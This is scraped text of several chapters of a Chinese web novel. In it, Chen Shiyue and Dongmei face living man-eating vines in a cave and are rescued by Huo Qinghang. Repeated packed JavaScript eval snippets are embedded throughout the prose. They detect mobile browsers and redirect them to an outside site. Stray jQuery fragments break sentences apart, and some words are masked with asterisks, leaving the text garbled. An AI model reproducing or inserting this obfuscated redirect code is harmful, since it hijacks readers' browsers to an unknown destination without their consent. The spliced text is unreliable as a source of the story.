d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16105939|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以她能在触发机关之后,快速的避开。 等到一路触发机关,走到了那头,冬梅又慢慢折返回来。 “姑娘莫着急,再稍等我片刻!”冬梅重复了一趟,确定没有机关了,这才让陈识月过来,如此这般才算是放心。 有冬梅在,不怕机关陷阱。 有陈识月在,不怕毒虫毒蛇。 如此这般,也算是互补。 这山洞委实腥臭无比,里面也不知道有什么,全部都是臭烘烘的,连岩壁都透着一股子腐臭味,可能是死过人的缘故吧? “真臭啊!”冬梅嫌弃得直皱眉头,“这地方跟个茅坑似的,外面那些骨头,怕不是都被熏死的吧?这臭得……怎么还能生活下去呢?” 实在是太臭了,呼吸都是晕乎乎的,要在这里过几天,怕是都得折寿。 “有腐臭味,还有屎尿臭味,以及蛇虫鼠蚁的腥臭味,各种混合在一起……的确很难闻。”陈识月掩住了口鼻。 臭气熏天,她本就对气味敏感,这会更是…… “前面有水声。”冬梅有些激动。 陈识月举着火把,赶紧跟上。 人要生活,必须近水。 两人快速循声而去,只是……这里面的确不是什么好地方,不只是闻着太臭,而且到处都是骸骨,有人的,有动物的,也有鱼刺那些…… 总之,这里面乱七八糟的,若是不小心看路的话,可能会踩到不该踩的污秽。 冬梅觉得这东西比机关比暗器,更加可怕,更加防不胜防。 太可怕了! 太可怕了! 小心翼翼的站在小溪边,比起之前在那个洞窟里看到的地下暗河,这里只能算是小溪,有水但不多,能有几尾鱼,只够生活,不够温饱。 陈识月环顾四周,“迎春会来这里吗?” 怎么瞧着不太像呢? 对于这种不确定的地方,以迎春的小心谨慎,按理说不可能涉足?! “谁知道呢?”冬梅不解,“不是说这里有怪人吗?人呢?” 进来到现在,压根没看见活人。 “会不会是蛇虫鼠蚁都绕着你走,所以吓破了胆子,早早跑路了吧?”冬梅小声嘀咕,“连鬼影子都没瞧见,何况是人呢!” 蓦地,陈识月脊背一凉…… 第三百七十章 这藤蔓,是活的? 不得不说,冬梅的速度也是快,迎春不在……她就是姑娘的甲胄,必须全身心的,全力以赴的保护姑娘,“姑娘小心!” 陈识月只觉得自己被狠狠推开,紧接着耳畔就像是有什么东西炸开,一声清脆的掌心碰撞之音,伴随着一股强大的力量,震得自己的耳蜗疼。 落地的那一刻,好似骨头都断了,疼痛让陈识月发不出声音来,保持着摔跌的姿态,好半晌都没能动弹,直到自身的愈合能力,快速修复完全,她才稍稍缓过劲来,长长吐出一口气。 疼是真的疼,好也是真的好得快! 等陈识月再爬起来的时候,身上已经没什么大碍,连皮都没破,只是疼痛感还是让人心有余悸,“冬梅?” 洞内,好似又恢复了以往的安静。 冬梅呢? “冬梅?” 陈识月捡起地上的火把,开始焦灼的找寻。 “冬梅?” 人呢? 人不见了! 刚才袭击自己的那道黑影也不见了,这二人不知道厮打至何处? “冬梅?迎春?”陈识月举着火把,亦步亦趋的走在溪边。 到处都是乱石,这臭烘烘的洞和之前那个洞窟是完全不一样的存在,那边到处都是各种小洞,而这里到处都是藤蔓,也许藤蔓遮掩着什么,也许藤蔓藏着什么,但要一一拨开,不知道要等到猴年马月,才能找到人。 “冬梅?”陈识月高声喊着。 无人回应。 “冬梅……” 陈识月急了,这洞内的气味太大,她无法利用自身优势,去找寻冬梅的气息,只能略显慌乱的在山洞内转悠,他们的速度太快,且周遭很黑,冬梅又不熟悉地形,所以……她有理由怀疑,冬梅出事了! 那……迎春呢? 迎春是不是也在这山洞内出事了? 毫无动静。 洞内一直静悄悄的,洞外的人也等得不耐烦,三个护卫脸上的焦灼是显而易见的。 “怎么还不出来呢?” “不会真的出事了吧?” “应该不至于,冬梅姑娘的功夫极好,姑娘又是个谨慎的,还是个大夫,应该足以应付。” 三人你一言,我一语的,说的都是自我宽慰的话,其实每个人心里都没底,谁知道这山洞里会出什么事呢? 若是真的出事,他们也是来不及的…… “我奉劝你们一句,还是进去看看吧!”瘸子低声开口,“有些时候,他要隔了好几日才会把尸体丢出来,你们光这样等着,怕是等不到给她们收尸的。” 音落,三个护卫齐刷刷的转头看他。 吓得瘸子赶紧往两兄弟身后躲,“我就是实话实说,没想别的。” “别以为我们不知道,你们心里打什么主意。”一护卫开口,“姑娘福泽深厚,定然不会有事。她既让我们在这里等着,那我们就等着,哪怕是饿死渴死在这里,也断然不会让开半分,你们休想找机会逃走。姑娘若是有事,你们也别想跑!” 三人:“……” 这不是陪葬吗? 但,他们有别的办法吗? 没有。 三护卫功夫不弱,且三对三,还真的不一定有胜算。 “就你们三个……在你们动手之前,咱就能废了你们!”三护卫又不是傻子,能真的让他们逃出去? 可笑! 将军府出来的这般废物,以后怎么有脸回去见少将军? 山洞内,依旧没有动静。 每个人的心里都忐忑异常,时不时的朝着山洞内看。 六个脑袋,刘双眼睛,眼巴巴的盯着。 时间一分一秒的过去,里面依旧安静得出奇,只有那臭味时不时的涌出来,熏得人头昏脑涨的。 怎么还不出来? 陈识月倒是想出去,但莫名的,她觉得这里有些说不上来的奇怪,好像藏着什么似的?洞窟虽然不大,但是除了那个入口,其他的出入口都分外隐秘,想要出去真的没那么简单。 藤蔓一层又一层,到处都是藤蔓,连岩壁都遮得七七八八,若是原路返回倒也没什么问题,但是想找冬梅,真的很是费劲。 事实上,冬梅也觉得费劲。 瞧着缠绕在自己手脚上的藤蔓,真真是厌恶至极,然而她挣扎了一下,却觉得浑身的力气都好似被抽干了一般,愣是使不上劲。 怎么回事? 黑暗中,她隐约觉得这些藤蔓似乎在动? 没错。 在动。 仿佛活了一般,这些藤蔓竟有自主意识,窸窸窣窣的爬行。 “活的?”冬梅愣住。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16105940|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 回过神来,更多的是慌乱。 活的! 真的是活的! 如果,自己没有做梦的话…… 姑娘? 坏了,姑娘会不会也被擒住了? 这些藤蔓不只是活的,而且还有锐刺,这些锐刺很是细小,就像是小绒毛一样的细小,会悄无声息的扎在人的皮肤上,然后带着自身的麻痹微毒,让人在不知不觉中瘫软无力。 冬梅只记得自己当时赢了一掌,那黑影旋即逃离,于是乎她便追了过去,拐个弯的功夫就失去了知觉,如今再醒来居然是被藤蔓束缚在山洞的岩壁上,仿佛成了这些藤蔓的食物。 哦不,应该说是养分。 这些藤蔓似乎是要**的! 匪夷所思。 闻所未闻。 这是冬梅第一次觉得,人不能太固守陈规,应该发挥想象力,有些东西你没见过,不代表不存在,只是你见识少而已。 冬梅又挣扎了一下,奈何还是没力气,她想喊出声来,却发现藤蔓缠绕住了胸口,愣是只给留了喘气的劲儿,连喊都喊不出来。 陈识月的喊叫声,冬梅都听见了,也看见了远处的火光,那是姑娘手里的火把…… “别……别过来……”冬梅的声音细弱蚊蝇,“快走!” 走! 千万不要过来。 这里的藤蔓会**! 可陈识月听不见,依旧拿着火把找人,但恍惚间,她似乎是闻到了血腥味,还听到了窸窸窣窣的动静,周遭也没什么蛇虫鼠蚁,没有动物啊! “冬梅?”陈识月走在溪边,瞧着岸边的岩壁,那藤蔓密密麻麻的,看得人头皮发麻,有种被什么盯上的窒息感,这滋味可真不好受。 想了想,陈识月好似意识到了什么,举着火把凑近了这些藤蔓。 之前没仔细看,如今倒是看清楚,这些藤蔓居然十分粗壮,且藤上和叶片背后都有细小的容貌,说白了,这就是藤蔓的锐刺。 陈识月皱眉,隐约觉得这藤蔓不太对劲,瞧着有点眼熟? 她刚要伸手去触摸,却见着这些藤蔓,猛地向两边撤去,当即吓一跳,双方都不清楚对方的实力,都各自退后一步,处于懵逼的状态。 这藤蔓是活的? 陈识月握紧了手中的火把…… 第三百七十一章 姑娘快走 “这不会就是传说中的食人藤吧?”陈识月下意识的退后两步。 关于这东西,也只是在古籍上看到过,虽然父亲不怎么理后院的事情,但是关于医书古籍……管家总会送到后院来,现在她知道这应该就是父亲的意思。 在医书古籍上,曾有过描述,说是这东西最爱生在乱葬岗,或者是战场,又或者是尸骨成堆的地方,靠吸食鲜血和腐肉为养分。 它们会肆意生长,每逢月圆之夜就会开出绚烂的花朵,臭味绵延十数里,那滋味……真是闻之便吐,臭得惨绝人寰。 陈识月终于明白,为什么这个山洞里那么臭,臭得令人头晕目眩,想来是这食人藤不知开过多少回的花,这臭味合着腐尸的臭味,简直是……太歹毒了! 回过神来,食人藤似乎对陈识月起了兴趣,但……不敢靠近,只是在她脚边和身边不断的试探,仿佛是用那些纤细的白色的小绒毛,探知前方未知的危险。 陈识月站在原地没动,瞧着这些藤蔓不断的游走,尤其是在黑暗中,但凡有光便好似略显畏惧,默默的沉寂下来。 所以,它们怕光? 想到了这一点,陈识月赶紧用火把去晃,还真是让它们快速退后,这是怕光还是怕火呢?医书古籍上没说,她也无从得知,但从现在来看,似乎是有意外收获。 陈识月举着火把,快速呵退了这些食人藤的试探,“迎春?冬梅?” 据说,食人藤的这些细小绒毛是有麻痹功效的,也就是说,当它们探过来的时候,已经在发动攻击了,一旦被藤蔓缠绕,就只能任它们宰割。 被**食物,可不就只有一个下场嘛…… “冬梅?”陈识月环顾四周。 冬梅会不会已经中了招? 毕竟,她会防着人,不会防着突然落在肩头或者是缠上脚腕的藤蔓。 谁能想到,这些藤蔓会活动、会**呢? 陈识月挥动着火把,快速往前走去,“冬梅?” 身后,猛地有黑影掠过。 陈识月快速转身,空气里隐约有一丝异样的气息。 是血腥味! “冬梅?”陈识月呼吸微促,“冬梅?” 其实,冬梅就在墙上,却被藤蔓缠绕覆盖,只能透过一丝半点的缝隙,看见底下的光亮。她能清晰的听到陈识月喊声,却无法回应。 身上的麻痹感已经让她僵硬得不成样子,完全无法动弹,心里又急又气,眼泪都出来了,就是没办法动弹…… 怎么办? 怎么办? 她甚至于看见了那道黑影,就在姑娘的身后,静静的站着,似乎是在等着什么,没动手……却足以让冬梅急得流泪。 陈识月一无所知,因为周遭都是臭味,臭味是最容易遮掩其他气味的,混合在一起的臭味,更能混淆视听。 火把摇晃,食人藤快速往后退。 “退!退!”陈识月咬着牙。 下一刻,她手中的火把猛地晃了过去,惊得那黑影快速后退,一下子窜入了食人藤之中,“想暗算我?你也得把自己藏好了!” 靠太近,是会有异味的。 陈识月没跟他客气,火把快速递了过去,瞬时烧得食人藤吱哇乱叫,一下子分散开来,大概是陈识月下手太快,食人藤来不及反应,以至于真的被烧疼了,快速分散开来。 不只是露出了那黑影,连带着藏在藤蔓里的冬梅都露了出来,一下子跌落在地。 “冬梅!”陈识月心惊。 还真的在啊? 下一刻,黑影已然靠近。 陈识月慌忙躲闪,却被生生摁住了肩膀,那黢黑的手,如同幽冥鬼爪一般可怖,尖锐的指甲几乎嵌入了陈识月的肉里。 疼痛,让她一下子矮了肩膀,想要借此避开,可对方的力量很大,直接将她整个举起。 是的。 举起。 高举过头顶,生生被丢了出去。 撞在墙上的那一刻,陈识月觉得自己的骨头、连同五脏六腑都被撞碎了,落地的瞬间登时嗓子里一阵腥甜涌出。 冬梅张了张嘴,姑娘…… 眼泪不断的往外涌,冬梅想冲上去,却使不出半点力气,只能眼睁睁的看着,陈识月遭罪。 如果迎春在…… 迎春那么谨慎,轻功那么好,一定会护住姑娘周全的。 陈识月伏在地上,自愈能力正在快速修复身子,周遭的食人藤快速靠拢,大概都是因为血腥味而来,所以这会都有些想要扑上来,将她团起来吃掉的意思。 然而……35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16112973|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 它们刚围上来,又好似受了刺激一般,快速后退,愣是没敢真的扑上来。 陈识月终于喘过气来,扶着岩壁慢慢的站起来。 那一刻,对方是惊诧的。 这么重的伤,她竟然还能站起来,而且方才可以很明显的感觉到,她是没有内力的,不是什么练家子,然而就是这么个身子孱弱之人,竟然…… 站起来了? 便是冬梅,也跟着傻了眼,一时间忘了哭。 姑娘没事? 陈识月抹去唇角的血,直勾勾的盯着他,这人不怕食人藤的锐刺,说明他可能就是食人藤的主人! 这些东西,都是他养出来的。 “你是什么人?”陈识月到底还是疼痛使然,咬着牙冷问,“你是长乐门的人?你们这帮助纣为虐的畜生,今日便是死在这里,我也不会让你好过的。” 死? 那就同归于尽吧! 反正,谁也别想从她身上沾便宜。 她的手已经伸进了随身的小包里,即便没什么东西了,但总觉得这才是安全感,就算要死,也得拉他给自己陪葬! 这样的恶人一旦走出了山洞,为长乐门所用,不知要祸害多少人?! “你不是长乐门的人?” 男人的声音很沙哑,听着像是破锣一般,甚是刺耳,仿佛是嗓子受过伤? “你才是长乐门的人,你全家都是长乐门的人!咱跟长乐门,势不两立!”陈识月不客气的回怼。 身子自愈能力似乎越来越快了,她站直了身子,冷脸盯着男人,只是他陷在黑暗之中,根本瞧不见容脸,但能感受到,来自于他身上的阴邪之气。 男人似乎在后退,周遭的食人藤似乎也在后退。 陈识月:“??” 想了想,陈识月跌跌撞撞的冲向冬梅,“冬梅?” “姑……姑娘……”冬梅嗓子里发出了轻微的音调。 陈识月快速给她探脉,“还好,还好,只是微毒。等出去之后,我给你弄一副药就没事了!” “姑娘……”冬梅想说,姑娘快走! 可她喊不出声来了,整个人没骨头似的靠在陈识月的怀中。 忽然间,有劲风快速涌入,浓郁的臭味猛然间被冲散开来…… 第三百七十二章 爱的人,怎会认不出? 对方的速度很快,陈识月完全没反应过来,那两人已经交上手了,招招致命,几乎都是下了死手,那叫一个殊死一搏。 陈识月懵了一瞬,回过神来赶紧搀起了冬梅,“快快快,趁着他们打架,我们快出去!” 管他打架的是谁,眼下最要紧的是冬梅和自己的性命。 所幸陈识月的力气也不小,背起冬梅就吭哧吭哧的往外跑,都这个时候了,小命要紧……当即一鼓作气,撒腿就摇摇晃晃的往外冲。 “冬梅你别动,你一动我就背不动了。”陈识月叮嘱。 冬梅这会浑身无力,但也知道要乖乖听话,陈识月背起她有多不容易,她心里是清楚的,只是……后来冲进来的人,似乎跟这怪人有仇? 食人藤在后面蠢蠢欲动,大概是因为陈识月把它们的食物带走了,可又碍于某种原因不敢触碰陈识月,只能一直跟着。 眼见着,到了洞口…… 食人藤快速撤退,没敢往外去,所有的怪异之物都会因为怪异而为世人所不容,最后都是一把火送走,食人藤……不敢! “姑娘!”三护卫第一时间冲上来。 冬梅被两人抬下去,陈识月一屁股跌坐在地上。 虽说自愈能力强,但是这么短的时间内,接骨续命其实根本没完成,是以陈识月松一口气的同时,又是一口鲜血喷涌而出。 这可把所有人都吓一跳,饶是冬梅也跟着面色惨白,无力的喊着,“姑娘?” 陈识月面色惨白,一口气差点喘不上来。 肋骨断了两根,五脏六腑都有所损伤,要不是这救命的蛊虫,哪儿有力气撑着,带冬梅走出这臭烘烘的山洞? 身子止不住的颤抖,疼痛袭来的那一刻,疲惫与脱力感也跟着一道而来,陈识月眼一闭便失去了意识。 “姑娘!” “姑娘!” 这山洞内到底发生何事? 但无人敢再进去,只能老老实实的守在外头,先将陈识月抬到了树下,再给冬梅喝了几口水,顺道将身上肌肤处的小绒毛一一剔除,至少肉眼可见的锐刺是可以拔出的,其他便不得而知了。 大概是这一系列的动作有了收效,冬梅终于可以说出话来,“姑娘?” “冬梅姑娘,你可以说话了?”护卫松了半口气。 陈识月这会还躺在那里,连水都喝不下去,甚至于……根本无人敢再动她,毕竟断骨之人最忌移动,否则容易造成二次伤害。 何况,陈识月把冬梅从洞内背出来,显然是吊着一口气而为,若是…… 护卫各个面如土色,一直以来都是陈识月在救他们,可他们……哪儿会救人?既不是大夫,身上也没有带药,只有一些外伤药,偏偏陈识月如今是内伤在身。 “怎么办?”护卫询问。 冬梅勉强站起身来,摇摇晃晃的走到了陈识月的身侧。 脉搏和心跳都正常,呼吸也是趋于均匀,只是内伤犹存。 冬梅让护卫背过身去,兀自伸手,小心翼翼的摸过陈识月的身子,“还好,没伤着骨头。” 冬梅想着,大概就是因为没伤着骨头,所以才能撑着一口气把她背出来,真是不幸中的万幸,就是不知道后面闯进山洞里的是什么人? “你们不是说,除了这怪人没别人了吗?”冬梅秋后算账。 那三兄弟蜷缩在树下,听得这话都止不住喉间一哽。 “说话!”冬梅咬牙切齿,“要不是受你们的骗,姑娘何至于如此?我差点都死在这里面了!你们三个要是再不把话说清楚,我就送你们进山洞。知道山洞里有什么吗?” 三人面色瞬白,齐刷刷摇头。 “让你们说话,不是让你们摇头!”冬梅忽然拔剑直指,“我可不是姑娘这般好说话之人,对付卑鄙无耻的小人,我从来只杀不论。” 瘸子忙道,“真的真的,就只有山洞里的怪人,这林子除了我们没别人了!” “那迎春去哪儿了?方才闯入山洞的又是谁?”冬梅是一个字都不信。 瘸子答不上来。 他们也不知道迎春去哪儿了,更不知道刚才闯入的是谁。 “方才那人动作很快。”护卫回想,“我们都没看清楚,就觉得一阵风掠过,直接冲进去了,是男是女都没分清楚,只知道是个黑影。” 护卫问,“冬梅姑娘在里面,也没瞧清楚,后来的是何人?” 冬梅摇摇头。 还真的没看清楚,“里面很黑,那人来得很快,甚至于没有开口,第一时间就跟对方交了手,我当时晕晕乎乎的,姑娘背着我就跑,连头都没回… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118943|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” 没回头,自然也不清楚身后的状况,更不知道那两人打斗之后的胜负? 谁会赢呢? 现在唯一可以肯定的是,对方功夫不弱,连护卫都没看清楚人是怎么来的,足以想见此人的功夫之高,若不是跟里面的人有仇,就该是另有所图吧? 是为了那些藤蔓? 还是这山洞里真的藏着什么? “姑娘?”仿佛听到了陈识月的哼唧声,冬梅陡然回过神来,慌忙凑了上去,“姑娘?” 陈识月没有醒,依旧双目紧闭,瞧着好像没事,但状况又不太好。 这荒郊野外,又是密林深处,想救人都没办法,这几个都不会岐黄之术,只能在边上眼睁睁看着,眼巴巴等着。 “姑娘?”冬梅又低低的喊了声。 还是没反应。 “姑娘会不会……”护卫担心的凑上来。 冬梅一个眼刀子甩了过去,“闭上你的乌鸦嘴,姑娘一定会没事的。” 姑娘她…… 半个时辰之后,陈识月似乎动了一下。 “她动了!”三兄弟惊呼。 冬梅险些一脚就踹过去,“闭嘴!” “冬梅。”陈识月真的睁开了眼。 “姑娘!”冬梅喜极而泣,“姑娘没事就好,吓死我们了!” 陈识月却好似拼着一口气醒来的,急于把话说完,“我只是累了,你们找个安全的地方,让我歇一会,我睡醒了自然就没事了,记住了……不要着急,不要吵醒我!” “好好好!”冬梅连连点头。 陈识月的目光落在洞口位置,嘴角微微扬起,“不要走,要等他……出来……” 音落,陈识月终是无力的闭上眼睛。 “姑娘?”冬梅心惊,“姑娘?” 奈何,陈识月已经重新入睡。 护卫凑上来,“冬梅姑娘,这都什么意思?” 不要走? 等他出来? 等谁? 等那个怪人? 还是后面那一阵风? 所有人面面相觑,对于陈识月一番话委实丈二和尚摸不着头脑。 一双双眼睛,齐刷刷的看向洞口。 等他出来? 这个他……是谁? 第三百七十三章 欺负她?都得死 所有人都是一脸懵,没明白陈识月昏睡前说的这句话,到底是什么意思,但他们清楚,陈识月不许他们挪动,让他们依旧守在山洞外。 等那个……从洞里走出来的人?! 在天色渐暗之前,护卫去找了水,周围绕了一圈也没找到干粮,所幸废物三兄弟还是藏了点东西的,这会全部贡献出来。 火光燃起,众人围坐在火堆边,冬梅寸步不离的守着陈识月。 若不是因为她,姑娘也不会变成这样。 “她不会是**吧?”三兄弟开始窃窃私语,“之前吐血,这会又躺着一动不动的,都这么久了,一点反应都没有。” “别胡说八道,没看到还在呼吸吗?” 人只要还在呼吸,就不算是**。 冬梅投来阴测测的目光,惊得三人当即闭了嘴,愣是没敢再低声议论。 敢说姑娘的坏话,找死吗?! 要不是留着这三人还有用,冬梅一定撕了他们。 迎春也不知道去了何处,洞里也不知道是什么状况,冬梅现在一脑袋的浆糊,没了迎春和陈识月就好似没了主心骨,全然不知所措。 朝着火堆丢了枯枝,冬梅神情黯然,心里沉甸甸的。 忽然间,洞内有了动静。 三护卫齐刷刷站起身,各个拔剑相向,几乎是严阵以待。 冬梅的第一反应不是动手,而是做好了随时背着陈识月跑路的准备,不管接下来会发生何事,姑娘的安全胜过一切。 一道黑影从洞内走了出来。 是的,走出来的。 所有人的目光,都死死盯紧了他。 藏匿于黑暗之中,周身带着一股子冷戾肃杀气息,宛若地狱归来的修罗恶煞,让人瞧着便心生畏惧,不敢轻易靠近。 这人…… 冬梅皱起眉头,“怎么有点眼熟?” “月儿?” 黑影身形一晃,已经闪身陈识月身侧,却伸着手不敢去碰她。 “少将军?”冬梅愕然。 三护卫齐刷刷行礼,“是卑职等保护不力,请少将军责罚!” “没事的,没事的。”他低声呢喃,“月儿会没事的。” 知道她会没事,但是这心里头总不是滋味,不敢想象,若是晚一步……若是真的晚一步,会有什么样的后果? “少将军,真的是你啊?”冬梅小心翼翼的凑过来,仔细的看了看,不像是易容乔装的,那应该是真的霍青行。 可是…… “少将军,您不忙啊?”冬梅又问,“不是说每日都要去衙门点卯,皇帝和文武百官其实都盯着将军府,您根本抽不开身,这要是让人抓住把柄,到时候流言蜚语会对将军府不利。” 这些话,姑娘此前都有提过,迎春私下里也都说起过,是以冬梅记得很清楚。要不是那么多双眼睛盯着,少将军早就陪着姑娘一起来了。 树大招风,霍家执掌兵权多年,要不是霍家只剩下霍青行这么一根独苗,霍老将军驻守边关常年不归朝,跟金都的官员几乎都不怎么联络亲近,至少表面上都是互不相干。 如此一来,霍家只是帝王手中剑,守卫边关而立于帝王统治,自然不会有那些乌七八糟的罪责。 “我自有应对。”霍青行伸手,轻轻抚过陈识月的容脸。 面颊微凉,好在他清楚的知晓,她如今的身体状况,身体内的自愈能力,会帮她渡过难关,只不过这过程可能有点艰辛。 “原来姑娘早就认出来了?”冬梅嘟囔。 霍青行转头,“什么?” “在山洞里的时候,我是没认出来,但是姑娘认出来了。”冬梅解释,“所以姑娘背着我就跑了,大概是源于信任少将军你。” 霍青行不说话。 护卫也凑过来,“姑娘昏睡之前还特意叮嘱,说是让我们不要离开,务必要等在这里,等您出来。” “等我?”霍青行低语。 护卫连连点头,冬梅接过话茬,“是啊,姑娘认出来了。” 霍青行忽然笑了,弯腰低头,轻轻的在陈识月眉心落吻,“我就知道,我的月儿最聪明了。” “少将军是什么时候来的?”冬梅问。 霍青行深吸一口气,“追在你们的后面,眼见着是要追上了,却见着你们进了这不归林,我便也跟着进来了,只不过兜兜转转了一圈,好不容易找到你们。” 一行人都在外面,却唯独不见陈识月和冬梅,霍青行便意识到事情不妙,二话不说就冲进了山洞。 “那山洞里的人……”冬梅追问,“**没?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118944|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>霍青行忽然就沉默了。 冬梅诧异,“跑了?” 霍青行似乎不想多说,抬眸睨了一眼不远处的废物三兄弟。 见此情形,冬梅知情识趣的闭了嘴。 这里面怕是有点事! 还是让姑娘醒了之后,自己去问吧! 不知道姑娘什么时候能苏醒? 火光摇曳,霍青行褪下外衣,轻轻的覆在陈识月的身上,听着冬梅娓娓道来,将这些日子以来,发生的所有事都如竹筒倒豆子一般,说得清清楚楚。 霍青行坐在边上,静静的听着…… 不归林里安静至极,不归林外,已有大批的长乐门人**。 “怎么样?” “还在里面,没有出来!” “该死的,毒先生肯定是他们杀的!” “一剑封喉,可见功夫之高。” “一剑封喉?”男人穿着黑衣斗篷,轻飘飘的从半空落下,唇角微微下压,可见心情不悦,“那几个废物……不像是能有这般本事之人。” 那几个人虽然都会手脚功夫,但不至于如此本事,毒先生周遭围拢着不少毒物,寻常人根本无法近身,何况是一剑毙命! 难道说,又有其他人进来了? 这山、这林,现如今是愈发的热闹了! “长阴,你猜她现在在做什么呢?”男人低低的开口,仿佛带了几分笑意,“你觉得我忽然出现,她会不会感到很惊喜呢?” 惊喜之余,应该也有点激动吧? “**?”底下人开口,“毒先生**了!” 而且,还**得毫无反抗余地。 一刀毙命,直接割喉。 这得多可怕! “毒先生**,只能说明他技不如人,技不如人的东西……**也是活该。”男人悠悠然吐出一口气,“不过,也是真的没用,居然都来不及出手。” 毒先生死的时候,掌心里还握着一把药粉,可想而知对方的速度有多块,几乎是一眨眼的功夫就死在了人家的倒下。 哦,还有他那几条蛇。 从七寸被劈开,要么一刀两断成了两截,要么直接被劈成了两半,浓重的腥臭味混合着血腥味,真是令人厌恶。 不知道此人对上门主,又有几分胜算? 第三百七十四章 他这条腿快烂了 毒先生死得太惨了,尸体被抬走,连同他豢养的那些小东西一起,最后都只能被草草埋葬,到最后什么都没留下。 但是…… “**,您这是……”底下人诧异。 男人穿着黑衣斗篷,行走在黑夜里就像是鬼魅一般,轻飘飘的,悄无声息的,来无影去无踪的,转瞬间便可以行至眼前。 他的速度也的确够快,一眨眼的功夫就去了不归林,但……没有进去。 杀死毒先生的人,可能就在这里面,自己此番进去若是不敌,那不就成了送人头的吗?所以他得先观望观望,毕竟那么多事情没做,怎么能白白丢了性命? 他只是疯,不是傻。 外头的异常,不归林里的陈识月还是有所感知的,忽然间睁开眼坐了起来,瞳孔略显溃散,神情麻木而迟滞。 这一幕,看得所有人都心惊胆战的。 一双双眼睛,猛地齐刷刷盯着陈识月。 “姑娘?”冬梅刚要开口,却被霍青行一个动作制止,示意她不要出声。 见状,冬梅乖乖的闭了嘴。 姑娘如此这般,也不知道究竟是怎么回事? “月儿?”霍青行轻轻抱住了她,“月儿!” 他宽大而温暖的手掌,轻轻的抚着她的脊背,一遍遍的唤着她,似乎是想用这样的方式,唤醒陈识月的理智。 好在,他做到了。 陈识月的瞳孔逐渐聚焦,人也跟着慢慢清醒过来,意识到正被人紧紧抱着,不由得神情一怔。 熟悉的气息。 熟悉的他。 “霍青行?”她低唤。 他如释重负。 没事就好。 “我在。”他应声。 边上的冬梅可算是松了口气,示意紧张的三护卫别再盯着,将空间留给了刚刚重逢的二人。 “你怎么会来?”陈识月回过神来,“为什么会出现在这里?” 霍青行松开她,“自然是不放心你,若非如此,怎么能及时救下你?但到底是来晚了一步,要是再来得早一些,很多事情都可以避免。” 陈识月倒没那么多想法,只觉得有些事情是必须做的,比如说找安信,救林序,对抗长乐门。 “我没事,你莫要忧心。”陈识月伸手摸了摸自身。 断裂的肋骨已经愈合得七七八八,五脏六腑也缓和了不少,若是换做旁人,若不能及时救治,怕是会死在这里面。 “我知道。”霍青行当然清楚,她身子有自愈的能力,大概只要留有一口气,就不会死……至少不会当即立死,她身子里的蛊虫会快速修复这副身子骨。 这件事不知道是好是坏,但不管是陈识月还是霍青行,都不愿意动用蛊虫的力量,他们始终相信所有的利益都是有代价的。 至于这代价是什么…… 暂时不知道,所以最好不用。 “你这样出来,会不会有什么危险?”陈识月忽然问,“那么多人盯着将军府,若是在帝王跟前说点什么,或者是参你一本,那可不是闹着玩的。” 老将军在边关驻守,若是朝堂上有人兴风作浪,给他添堵,影响了后援与粮饷供给,那将是致命的打击,是以决不能马虎。 “我心里有数,前两日有山匪拦道,我不熟悉路径,马匹陷在了陷阱里,把我甩出去了,众目睽睽之下,我腿上受伤。”霍青行云淡风轻的解释。 听得陈识月面色瞬白,“你说什么?我看看,让我看看你的腿。” “没事。”霍青行摁住她微颤的手,“我不摔一跤,怎么能以养伤的名义脱身呢?这一切都是值得的,你别担心。” 陈识月不信,总得亲眼看看,才能安心。 没办法,霍青行只能卷起了裤管。 伤是真的。 不真骗不了那些人。 